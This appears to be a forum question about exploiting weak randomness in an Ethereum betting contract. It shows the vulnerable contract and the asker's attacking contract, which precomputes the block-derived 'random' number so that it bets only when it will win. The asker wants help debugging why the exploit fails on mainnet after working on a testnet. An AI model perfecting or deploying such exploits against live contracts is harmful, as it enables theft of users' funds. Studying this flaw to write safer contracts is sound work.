Bad randomness exploitation

Question

There is a contract with a betting function that calculates a random number and send you back a reward if winning. The betting function looks like:

function bet() public payable
    {
        if ((random()%2==1) && (msg.value == 1 ether))
        {
            if (!msg.sender.call.value(2 ether)())
                throw;
        }
    }

function random() view returns (uint8) {
          return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256);
}

So if you send 1 ether and hit an odd number (50% chance) you will get back 2 ether. Now I want to precalculate the random number and bet if the number is odd. I am trying that with a contract like this:

BadRandomBetContract private bet_;

function win() public payable onlyOwner {
        uint8 rnd = bet_.random();         // retrieve "random" number

        require(rnd % 2 == 1);             // odd number
        require(msg.value == 1 ether);

        bet_.bet.value(msg.value)();       // send 1 ether

        require(getBalance() == 2 ether);  // make sure we got 2 ether back, else revert
    }

function getBalance() public view returns(uint256) {
        return address(this).balance;
    }

When the winning contract sends 1 ether, transaction fails afterwards. Sending 1 ether at least means the requirement require(rnd % 2 == 1); passed. May it fail at this point require(getBalance() == 2 ether); because the balance does not get updated immediately? Shall I check msg.value in contracts fallback function?

The fail tx is from mainnet and the working one is from ropsten